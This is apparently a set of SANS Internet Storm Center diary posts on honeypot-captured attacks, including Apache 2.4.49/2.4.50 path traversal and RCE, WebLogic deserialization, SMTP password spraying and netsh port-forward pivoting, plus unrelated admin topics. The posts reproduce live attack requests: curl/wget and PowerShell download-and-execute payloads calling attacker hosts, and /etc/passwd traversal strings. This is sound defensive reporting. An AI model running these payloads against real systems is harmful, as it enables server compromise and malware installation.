Johannes published a diary on this activity last week for an Apache 2.4.49 directory traversal vulnerability where the patch was made available on September 15, 2021. Apache released a new update on October 7, 2021, indicating their advisory for "Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)". The current patched version is 2.4.51.

My honeypot has since captured various types of scans looking for the presence of Apache.

Sample Logs

20211012-225407: 192.168.25.9:80-202.28.250.122:51783 data
POST /icons/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 218

(curl -k -H Host:heuristic-hermann-392016.netlify.app -fsSL https://52.220.244.242/stg_ntf.sh||wget --no-check-certificate --header=Host:heuristic-hermann-392016.netlify.app -q -O- https://52.220.244.242/stg_ntf.sh)|sh'

20211006-034517: 192.168.25.9:443-46.101.59.235:44008 data
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

20211013-152703: 192.168.25.9:80-202.28.250.122:42323 data
POST /cgi-bin/.%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 145

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'https://heuristic-hermann-392016.netlify.app/stg_ntf.c3.ps1\'))"'

20211016-142000: 192.168.25.9:443-45.146.164.110:48238 data
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: XX.XX.42.114:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

A=|echo;echo -n GTtHWsFXPn|md5sum'

Indicators

heuristic-hermann-392016.netlify.app
23.251.102.74
45.146.164.110
46.101.59.235
52.220.244.242
128.14.134.134
128.14.134.170
128.14.141.34
139.162.215.70
139.162.207.84
143.198.136.88
161.35.188.242
172.105.161.246
185.180.143.71
192.53.170.243

The current fix to this issue is to update to Apache 2.4.51.

[1] https://isc.sans.edu/forums/diary/Apache+2449+Directory+Traversal+Vulnerability+CVE202141773/27908/
[2] https://httpd.apache.org/security/vulnerabilities_24.html
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
[4] https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

I have been asked several times in recent months about addressing risks of warranty repair service of laptops/tablets.  With each of these situations, the question boiled down to the same underlying issue: non-removable storage.  “It depends” has been my standard response, as there are many key factors to accurately framing the response.  Organizational policies which defines their risk appetite and/or external regulations typically characterize what can be done.

The organization’s policies and general risk appetite are the first place to look for guidance. Media sanitization policies may reference how to handle a situation where a device begins to fail. 

One of the people who asked this question works within a small financial services/tax preparation organization.  About 10 years ago, the organization had invested in one of the big four audit firms to review their operations which resulted in several policies being written and procedure changes.  One of these policies stated that “hard drives, thumb drives, and other forms of digital media must be removed and destroyed prior to desktop or laptops leaving the organization.”  This made perfect sense at the time due to how much sensitive PII was being processed each year and the types of issues were being reported in the mass media at the time.  That organization framed their policy around the idea that drives would be removed from desktops and laptops at the end of their useful life span as they had no risk appetite for showing up in the news.  But, that policy had not been updated to fit the changing world in the past decade, or really consider what to do with warranty services.

The classification of data which was being stored/processed on the device can direct one to device sanitization guidelines.  Regulations around this activity can also detail what can be done.

Another colleague broached a question about how best perform a warranty repair on a Microsoft Surface.  Their organization utilizes a 4-layer data classification standard where the top levels of restricted data must follow NIST controls.  NIST 800-171 Control 3.7.3 has a control statement of “Ensure equipment removed for off-site maintenance is sanitized of any CUI.”  Further, control 3.8.3 states “Sanitize or destroy information system media containing CUI before disposal or release for reuse.” Similar language exists in NIST 800-53, HIPAA, and other similar frameworks. 

We spent a few hours talking through this situation and developed a flow chart that seems to work based on their local policies and risk appetite. AND it accounts for the type of data being stored/processed on that asset. 

1. If the storage is removable, then remove it prior to sending to warranty repair.
2. If the storage is non-removable and the system is operational, utilize one of several NIST compliant tools/techniques to wipe out any sensitive data.
3. If the storage is non-removable and the system is non-functional, then base next steps on data classification. 
   1. Public data classification would be acceptable risk for the organization to send off to be repaired.
   2.  The higher level classifications would require multiple tasks such as communication to the CTO/CISO/Risk Management team about the failed asset, validating that a BAA is in place with the repair vendor (for HIPAA), and working through hurdles of ensuring that the damaged device was transported to the repair vendor and return was tracked. 

In these discussions, the organization might choose to fully replace the device rather than take the risk of sending off for repair based on the reputational risks.  This could create an un-intended consequence depending on budget model of the organization.  Depending on which budget take the hit for replacing the asset, low-level managers may improperly attest an asset as being “public” data or otherwise hide repairs rather than replacing outright.

In these scenarios, much of the discussions related to risk.  How do we avoid the risk, transfer the risk to others, or at least mitigate the risk to some degree.  It would be no surprise to anyone that the world changed significantly in the past year.  Among those changes included the pure number of laptops, tablets, and similar assets that were deployed in most organizations for the suddenly remote work force. 

Due to the changes, we all need to be carefully looking over our policies and having discussions with internal audit, IT leadership, information security, and risk management teams about warranty repairs for our individual organizations.    What are you all seeing in your industries or organizations with how to handle warranty repairs?

Scott Fendley ISC Handler

A feature that I use often is the port-forwarding capability implemented in the SSH protocol. It’s very convenient for pivoting inside a network or accessing a resource that is not directly reachable. Think about a management console that binds on the loopback interface of a server (which is good from a security point of view). How to access it remotely? SSH to the rescue!

Connect to the server with this command:

$ ssh -L 4443:127.0.0.1:443 user@server

Now, you are able to access the web interface via: https://127.0.0.1:4443/.

If you need to pivot internally, use “server” as a jump host:

$ ssh -L 4443:192.168.10.12:443 user@server

That's nice but what if the host you are jumping into is running Windows? How to achieve the same?

Microsoft provides an interesting tool to play with the network settings: netsh.exe[1]. I like to refer to it as the "Windows network Swiss army knife tool"! You can achieve the same as SSH using the "portproxy" feature.

Example:

C:\> netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=127.0.0.1
C:\> netsh advfirewall firewall add rule name="Port Forward 8080" protocol=TCP localport=8080 action=allow dir=IN

This forward incoming requests on port 8080 to the loopback on port 80 (line 1). Note that you need to allow the traffic in the Windows firewall (line2). Let's test by launching a quick Python web server:

C:\> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...

From another computer, try to access the webserver:

$ curl -v http://192.168.131.2:8080
* Trying 192.168.131.2...
* TCP_NODELAY set
* Connected to 192.168.131.2 (192.168.131.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.131.2:8080
> User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.9.7
< Date: Thu, 14 Oct 2021 05:02:35 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 253873
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
...

The Python webserver will log this:

::ffff:127.0.0.1 - - [14/Oct/2021 06:02:35] "GET / HTTP/1.1" 200 -

Now, let's try to access a remote resource:

C:\> netsh interface portproxy add v4tov4 listenport=4443 connectport=443 connectaddress=142.250.181.238
C:\> netsh advfirewall firewall add rule name="Open port 4443" protocol=TCP localport=4443 action=allow dir=IN

This will allow us to access Google through the Windows host:

$ curl -k https://192.168.131.2:4443
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com:4443/">here</A>.
</BODY></HTML>

This technique is interesting for both attackers and defenders! From an attacker's point of view, you can easily pivot inside a network and cover your tracks. From a defender's perspective, you can quickly access a resource without reconfiguring it (for example if listening to the loopback interface only).

From a forensics point of view, keep in mind that an attacker will easily hide suspicious processes because all the connections will appear to come from svchost! (like a native system call doing the job). This is nice to defeat Sysmon rules trying to detect network connections performed by non-regular processes. You will see the connections showing up as:

Service Name : iphlpsvc
Display Name : IP Helper
Binary Path  : svchost.exe -k NetSvcs

When investigating suspicious network traffic, you can always check if portproxy has been configured:

C:\> netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
*               8080        127.0.0.1       80
*               4443        142.250.181.238 443

If you already used this technique or if you've practical cases, feel free to share in the comments!

[1] https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Recently, I am seeing a lot of identical failed login attempts against my mail server. Just today, about 130,000 of them. The vast majority (124k+) come from one subnet: 31.130.184.0/24

inetnum:        31.130.176.0 - 31.130.191.255
mnt-domains:    RER-MNT
netname:        RoshangaranErtebatatRayaneh
country:        IR
org:            ORG-RER3-RIPE
admin-c:        MRMG6-RIPE
tech-c:         MRMG6-RIPE

Brute force attempts by themselves are not that special, but these are in particular annoying as the tool they are using appears to be broken. Here is the complete login attempt (they all look exactly the same):

[Blue: data from server, Red: data from client]

It starts harmless enough with my mail server sending a standard banner

220 mail.localdomain ESMTP Postfix (Debian/GNU)

The "attacker" responds with an EHLO. The "localhost" is a bit odd, but well, I told them that I am mail.localdomain. So I will take that.

   EHLO localhost

As it should in response to an "EHLO", my mail server will list its capabilities. Note that the client is not taking advantage of STARTTLS.

250-mail.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING

Insert the Client "resets" the connect. Bit odd, and I probably should drop things here. But I am always interested in seeing where things go...

   RSET

So I am responding with a standard "OK".

250 2.0.0 Ok

The client now attempts to "Login"

   AUTH LOGIN

As common for "AUTH LOGIN", my mail server responds with a base64 encoded string "Username:". I am sure the bot appreciates that my mail server tells it what to send next.

334 VXNlcm5hbWU6

The username, also base64 encoded, is "nan".

   bmFu

For those of you familiar with Base64 (or standard logins), you will probably know what comes next: "Password:"

334 UGFzc3dvcmQ6

The password sent: Nan (upper case N unlike the username).

   TmFu

Sadly, this fails... and I send you an error telling you so.

535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6

   QUIT

221 2.0.0 Bye

Ok. The attacker is going at this all day long, the strategy appears to be more "password spraying" than "brute forcing" as it does not attempt too many attempts on a particular account. I don't believe they even bother with using leaked credentials of mine, but instead they just simply go for volume.

There are a number of ways how this attack could be a lot more effective:

• Use more IP addresses. I long blocked that /24 and it still keeps coming.
• Figure out if the usernames actually exist. It isn't that hard. Don't waste your time on nonexisting accounts
• Use better password lists
• Try this against a government network. They may (a) be not as well protected and (b) have more valuable data.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This month we got patches for 81 vulnerabilities. Of these, 3 are critical, 3 were previously disclosed and 1 is being exploited according to Microsoft.

The exploited vulnerability (CVE-2021-40449) is an elevation of privilege affecting Win32k on virtually all supported Windows versions. According to the advisory, a local attacker may elevate privileges with no user interactions. 

Among critical vulnerabilities, there are two Windows Hyper-V Remote Code Execution Vulnerability (CVE-2021-40461 and CVE-2021-38672) affecting multiple versions of Windows 10, 11 and Server. An attacker within the same physical or logical network with low privileges and no user interaction could exploit this vulnerability to execute code on the targeted system. The CVSS V3 for both vulnerabilities is 8.0. The third critical vulnerabilty is the Microsoft Word Remote Code Execution Vulnerability (CVE-2021-40486) with the CVSS V3 of 7.8.

Another vulnerability worth mentioning due to recent vulnerabilities involving the print spooler, albeit without much detail, is the Windows Print Spooler Spoofing Vulnerability (CVE-2021-36970). The CVSS V3 for this vulnerability is 8.8 and the exploitability assessment is 'Exploitation more likely'.

The highest CVSS v3 this month (9.0) was associated to the Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26427). According to the advisory, the attack vector for this vulnerablity is 'adjacent', which means the attack can not be done accross the internet. The vulnerabilty affects Windows Exchange Server on versions 2013, 2016 and 2019.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

October 2021 Security Updates

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

If you are reviewing your web server logs periodically, you may notice some odd requests that are not HTTP requests in your logs. In particular if you have a web server listening on a non standard port. I want to quickly review some of the most common requests like that, that I am seeing:

t3 12.2.1

You may see a few variations of requests like that. For example "t3 12.1.1" is common as well. These requests are attempting to connect to WebLogic. WebLogic is able to accept data via HTTP (see Guy's diary from this weekend for some example) or it may use the "t3" protocol. "t3" is one way to use "RMI" (Remote Method Invocation) via WebLogic. Due to a few criticial vulnerabilities in WebLogic in recent years, some of which may be exploited via "t3", scans for "t3" are quite common.

CNXN

Android Debug Bridge (ADB) is a protocol that can be used to remotely debug Android devices. Remember that Android is not only used for phones, but also on other devices in particular TV sticks. ADB hasn't been enabled (or simply remotely usable) for many years, but the ability to exeucte arbitrary commands using this propocol is still attractive enough to lead to widespread scanning. I believe that the main target are TV sticks as they tend to be more difficult to update than phones.

SSH-2.0-Go

SSH servers are always of interest. Some users appearantly "hide" them on ports more often used by web server. I got bad news for you: The bad guys figured you out. Hiding an ssh server on an off port worked years ago, and still keeps down the "Mirai" noise a bit. But please: use ssh keys, not passwords.

USER anonymous

Yes, there are still some people using FTP. The boomer file transfer protocol? Really not sure what attackers are hoping to find other than data that has probably already been leaked many many time. They could look for ways to stash some files? But I doubt there are many FTP servers left that have anonymous FTP upload enabled and still disk space left.

\x16\x03\x01

This is actually HTTP (likely), but over TLS. If an https request hits a non-TLS server, you will see the beginning of the client hello being logged. The first four bytes are often 0x16 0x03 0x01 (0x16 - Handshake 0x03,0x01 TLS Version 1.2). The fourth byte is a 0x00, terminating the string as far as logging is concerned. You may see various variations of this.

And finally, a few I have no idea what they attempt to achive. Maybe one of our readers can help?

\x05\x04

\x80.\x01

\x01default\n

Let me know if you have any ideas... or other odd non-http logs from your web servers.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Wireshark version 3.4.9 was released.

It has many bug fixes (no vulnerability fixes).

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In the past few weeks, I have captured multiple instance of traffic related to some past Oracle vulnerabilities that have already been patched. The first is related to a RCE (CVE-2017-10271) that can be triggered to execute commands remotely by bypassing the CVE-2017-3506 patch's limitations. The POST contains an init.sh script which doesn't appear to be available for download.

The second example is a vulnerability in the Oracle WebLogic Server component related to a Deserialization Vulnerability (CVE-2019-2725).

Traffic Examples

20210929-120748: 192.168.25.9:7001-47.106.191.51:36562 data
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: XX.XX.42.114:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
Content-Length: 611
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

20211007-185800: 192.168.25.9:7001-185.128.41.50:39004 data
POST /_async/AsyncResponseService HTTP/1.1
SOAPAction:
Content-type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Length: 1028
Cache-Control: no-cache
Pragma: no-cache
Host: XX.XX.42.114:7001

Indicators -> /wls-wsat/

45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh
45.9.148.37/cf67356a3333e6999999999/init.sh
185.181.10.234/E5DB0E07C3D7BE80V520/init.sh
helpdeskserver.epelcdn.com/dd210131/init.sh
startbinmanager.epelcdn.com/dd09162/init.sh

[1] https://github.com/s0wr0b1ndef/Oracle-WebLogic-WLS-WSAT
[2] https://www.acunetix.com/vulnerabilities/web/oracle-weblogic-wls-wsat-component-deserialization-rce/
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[4] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[5] https://nvd.nist.gov/vuln/detail/CVE-2019-2725
[6] https://nvd.nist.gov/vuln/detail/CVE-2019-2729
[7] https://isc.sans.edu/forums/diary/Update+about+Weblogic+CVE20192725+Exploits+Used+in+the+Wild+Patch+Status/24890
[8] https://isc.sans.edu/forums/diary/Unpatched+Vulnerability+Alert+WebLogic+Zero+Day/24880/
[9] https://isc.sans.edu/forums/diary/Cryptojacking+Targeting+WebLogic+TCP7001/26768

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

One thing that is huge in making sense of large volumes of data is sorting.  Which makes having good sorting tools and methods a big deal when you are working through findings in a security assessment of pentest.  Or - just as importantly - in day-to-day system administration.

I stumbled into a Twitter thread last week (as one does) about sorting by IP address, and it struck me that the lowly “sort” command has changed quite a bit since I last read the man page completely for it (back in the ‘80’s, in the Bell Labs Unix books.  And yes, they were printed on paper). 

No matter if you are in the red team or the blue team, you’re forever having to sort hostnames or IP addresses, sort findings / vulnerabilities by hostname or IP, or sort hostnames by vulnerabilities / findings.

So let’s look at sorting by IP.  For this, we can use the “-V” (or --version-sort) argument of the sort command.  This sorts things by “version”  (as in decimal separated numeric strings).  This option matches up very nicely to what you want if you are sorting by IPv4 address, which is also a series of point-separated numeric strings. Let’s find the IP’s in my lab that have SSH open, then reverse-sort them by IP address:

 (thanks @flakpaket for this tidbit, this is an option that wasn’t in the paper Bell Labs Unix manuals back in the day!)

Or, what if you’ve got a list of files - for instance syslog files with IP addresses for filenames that you might want to sort?  The option for ls to sort by version is a lower case “v”.  Adding a “1” tells ls to give you the output as one line per file:

 (also thanks to @flakpaket, this was also new to me!)

What if you’re on an older version of Linux – or (as I am some days), you’re on an older Windows host that has GNUtils installed instead of WSL?  In that case, you can tell sort to delimit your output with a “.”, then tell it which fields to sort on (in this case, fields 1-2-3-4).  This is an oldy, and the one that’s in my personal cheat-sheet from forever ago (but mentioned by @totalclaireity in this same thread)

Or, since everything is in the same /24 subnet, we can just sort by the 4^th octet:

What about PowerShell?  In that same thread, @mdjxkln shows us that there’s a version option for PowerShell as well:

Or, in a bit more readable format:

In another use case, let’s check all hosts in a domain (and yes, I did shorten this list), then sort them by IP:

How can you make sorting easier?  Naming Conventions is the traditional answer to that.  Naming conventions are like belly buttons – everyone has one, and everyone’s is different!    The important thing when setting one up is to keep in mind that you'll be using tools like sort and grep (or the PowerShell / Python equivalents), find and findstr in Windows, or Excel once you start formatting your output, and work your naming convention to take advantage of that. 

Have I missed any neat sort methods that you use daily?  Or is there a more effiicient syntax for what I've shown in this post?  Very likely – please, use our comment section to add to these methods!

References:

Thanks of course to @flakpaket (Jon Gorenflo) who started the twitter thread:

https://twitter.com/flakpaket/status/1445419600624095236

$ man sort  (of course)

https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/sort-ipv4-addresses-correctly

And of course SANS SEC505: https://www.sans.org/cyber-security-courses/securing-windows-with-powershell/

===============
Rob VandenBrink
rob <at> coherentsecurity.com

Ever considered starting a company to create software for TV channel distribution over IP? It is big business with service providers "converging" their networks. Everything is better over IP. Why not TV? Having TVs and set-top boxes with two-way IP connectivity allows you to collect all kinds of data from your users. Imagine you cannot only charge people for the content, but you can also sell their data to advertisers. You will know exactly what they watch and when. Are they flipping channels during commercials? 

If you would start a company like this: How would you name it? Of course, someone already created a company like this and called it "Stalker" (no kidding!). Then they hired a legal team and "proper" executives, so they renamed it to Ministra (sounds much... well... anyway. it isn't called Stalker at least). But as so often, the original company name survived in their software, and that attracted my attention to these log entries in my honeypot:

GET /stalker_portal/c/version.js HTTP/1.1

Ministra's software ("Stalker Portal") is typically installed on set-top boxes that will then connect to Ministra and various service providers to retrieve content. They had some interesting vulnerabilities in the past, including remote code execution vulnerabilities [1]. There appear to be hundreds of streaming services using this platform.

The request above attempts to download the file version.js, which will tell the attacker what version of the software you are running. We do run HTTP honeypots on different ports, and interestingly, these requests come in almost equally distributed on these ports:

But are these bots just looking for what version you are running? They certainly have more in mind looking at other requests from the same botnet:

HEAD /
GET /system_api.php
GET /c/version.js
GET /
GET /stalker_portal/c/version.js
GET /streaming/clients_live.php
GET /stream/live.php
GET /flu/403.html
GET /b2.php?a=165.22.51.183

The "system_api.php," "version.js," "live.php," and "clients_live.php" requests are related to the Stalker Portal software. They may, in some cases, allow an attacker to download content from the device.

The main purpose of these requests is likely not to compromise the device but to steal content or use the device remotely, for example, to find devices with subscriptions that can stream content from other countries?

flu/403.html and b2.php are likely unrelated (also seeing less of these requests from this particular network).

[1] https://research.checkpoint.com/2019/we-decide-what-you-see-remote-code-execution-on-a-major-iptv-platform/
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The Apache Software Foundation yesterday released version 2.4.50 of its flagship Apache webserver [1]. This release fixes an easily exploited directory traversal vulnerability.

BLOF: This directory traversal vulnerability only affects a specific Apache version, 2.4.49, which was downloadable after September 15th 2021 from the apache.org website. It is not included in any Linux distributions. The vulnerability can be used to read arbitrary files from the server as long as the user the webserver is running as has read access. Code execution may be possible if mod_cgi is enabled and configured. Windows is vulnerable just like Linux.

Web servers typically define a "Document Root" or "WebRoot." All URLs are translated to files inside that directory. If your "Document Root" is "/html," and a user accesses "example.com/index.html," the webserver will translate this URI to "/html/index.html." Directory traversal is a well-known problem. A user could specify "example.com/../etc/passwd" to retrieve the "/etc/passwd" file. And web servers have taken care of this with some success ever since early humans created web servers.

One reoccurring issue has been URL encoding. It is wonderful (and somewhat common) to encode characters in a URL using URL encoding. Instead of the character itself, the hexadecimal ASCII code is used and prefixed with a '%' sign. For example, %2e will be interpreted as a '.'. 

In Apache 2.4.49, code to normalize and validate the URL was "simplified." Likely, this caused the directory traversal issue to "sneak in." Can't blame the developers too much for it. It looks like the affected "util.c" file was last significantly updated in 1996, according to the header. That was around the last time I seriously touched C. So I am not qualified to blame anybody for this mistake. But using my limited C powers, this looks like the important section:

if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
  /* Wind w back to remove the previous segment */
  if (w > 1) {
    do {
      w--;
    } while (w && !IS_SLASH(path[w - 1]));
  }
  else {
    /* Already at root, ignore and return a failure
     * if asked to.
     */
  if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
    ret = 0;
  }
}

/* Move l forward to the next segment */
l += 2;
if (path[l]) {
  l++;
}
continue;
}

Mostly showing this here to demonstrate that it isn't that easy.

The end effect: As long as a "." was URL encoded, it was not recognized as a. "," and we got good old directory traversal back.

With this vulnerability, an attacker can read arbitrary files as long as the webserver has read access to the respective file. The vulnerability is easy enough to exploit and is already widely exploited. An attacker will typically first try to look for /etc/passwd on Unix systems. /etc/passwd is always present and readable (unless you have some additional restrictions enabled around it). The attacker will verify the vulnerability and figure out how many ".." are needed to get to the file system root.

A typical exploit attempt will look like this:

"GET /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 

Now the big question: Can you do RCE by prefixing the URL with "cgi-bin." This would be similar to the exploitation of a similar IIS 4/5 vulnerability [2]. 

The simple answer: yes... if mod-cgi is enabled. In this case, a URL prefixed with "/cgi-bin/" (or whatever directory is defined for mod_cgi) leads to code execution. For example:

curl --data "echo;id" 'http://127.0.0.1/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

(based on Twitter/snyff)

So what do you need to do?

1. Make sure you are not running Apache 2.4.49. Apache 2.4.49 was released on September 15th, 2021, and is not included in any Linux distribution I am aware of. You may be running this version if you download the Apache webserver directory from apache.org.
2. Double-check by attempting the exploit string shown above.
3. Maybe add some WAF rules for it if you feel like it.

[1] https://httpd.apache.org/security/vulnerabilities_24.html
[2] https://www.kb.cert.org/vuls/id/111677

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Yesterday's Facebook outage showed yet again the fragility of the Internet's routing infrastructure. A lot has been written about various deficiencies of BGP, the Border Gateway Protocol. But all too often, the problem isn't the protocol but the people (or scripts) administering the routers. Our ISC website did suffer a couple of outages last year due to Verizon misconfiguring BGP (sadly... several times within a few days). Facebook's outage appears to be a misconfiguration as well, according to some early statements from Facebook [1].

So how do you debug these routing issues, in particular, if they are beyond your control? Or what to do next if DNS isn't the problem for a change?

One useful tool is "Looking Glasses." These are websites that various ISPs, and in some cases, Universities and others have created. These websites will allow you to query the routing table of various routers. Before you read any further: These tools are meant for occasional manual debugging (and most try to enforce this via captchas and rate-limits). They are not meant to be used by automated scripts. If you want automated alerting about routing issues: Check commercial services like BGPMon, Thousandeyes, and Kentik.

The routing table isn't the same for every router on the Internet. It is always good to query routing issues from different locations, which is why these "Looking Glass" sites are so useful.

First of all: Where do you find them? There is a nice web page, http://www.bgplookingglass.com, that lists public-looking glasses. Personally, I like the CenturyLink one (https://lookingglass.centurylink.com). It does provide a wide range of locations. Also, it reminds me of Don Smith, who worked for CenturyLink. I will use the CenturyLink site for my examples here. 

Let's use "DShield.org" as an example. The current IP address for DShield.org is 159.203.71.83. A quick "whois" shows that the IP address is owned by DigitalOcean and part of AS14061.

# whois.arin.net

NetRange:       159.203.0.0 - 159.203.255.255
CIDR:           159.203.0.0/16
NetName:        DIGITALOCEAN-159-203-0-0
NetHandle:      NET-159-203-0-0-1
Parent:         NET159 (NET-159-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS14061
Organization:   DigitalOcean, LLC (DO-13)

Note that the AS information in whois is not always current. But it is a good start to tell you where you *should* find that IP address.

Let us start with that information and see what we get from BGP via CenturyLink:

The output you will get back is essentially what you would have gotten from the router's command line:

HOUSTON TX USA Bgp results for: 159.203.0.0/16

show router bgp routes 159.203.0.0/16 ipv4 hunt

=============================================================================== 
BGP Router ID:4.69.182.78 AS:3356 Local AS:3356 
=============================================================================== 
Legend - 
Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid 
l - leaked, x - stale, > - best, b - backup, p - purge 
Origin codes : i - IGP, e - EGP, ? - incomplete 

=============================================================================== 
BGP IPv4 Routes 
=============================================================================== 
No Matching Entries Found. 
===============================================================================

No Matching Entries Found? Is DShield.org down? .... no. And this is one of the issues: DigitalOcean owns 159.203.0.0/16, but they choose not to advertise the entire block. They may use different parts of that /16 in different datacenters. One quick way to figure out what prefix our IP is part of is to use Team Cymru's DNS service (they also operate a whois service with the same information, but I prefer the DNS version)

% dig +short 83.71.203.159.origin.asn.cymru.com TXT
"14061 | 159.203.64.0/20 | US | arin | 2015-08-10"

It so looks like that DigitalOcean uses a /20. Let's redo our query using this /20.

We now receive a lengthy response:

show router bgp routes 159.203.64.0/20 ipv4 hunt

=============================================================================== 
BGP Router ID:4.69.182.78 AS:3356 Local AS:3356 
=============================================================================== 
Legend - 
Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid 
l - leaked, x - stale, > - best, b - backup, p - purge 
Origin codes : i - IGP, e - EGP, ? - incomplete 

=============================================================================== 
BGP IPv4 Routes 
=============================================================================== 
------------------------------------------------------------------------------- 
RIB In Entries 
------------------------------------------------------------------------------- 
Network : 159.203.64.0/20 
Nexthop : 4.69.182.68 
Path Id : None 
From : 4.69.182.68 
Res. Protocol : LDP Res. Metric : 20000 
Res. Nexthop : 4.69.200.153 (LDP) 
Local Pref. : 100 Interface Name : NotAvailable 
Aggregator AS : None Aggregator : None 
Atomic Aggr. : Not Atomic MED : 0 
AIGP Metric : None 
Connector : None 
Community : 3356:3 3356:22 3356:100 3356:123 3356:575 
3356:901 3356:2039 3356:11352 
Cluster : 4.69.182.68 0.0.7.2 0.0.7.14 
Originator Id : 4.69.184.239 Peer Router Id : 4.69.182.68 
Fwd Class : None Priority : None 
Flags : Used Valid Best IGP Group-Best 
Route Source : Internal 
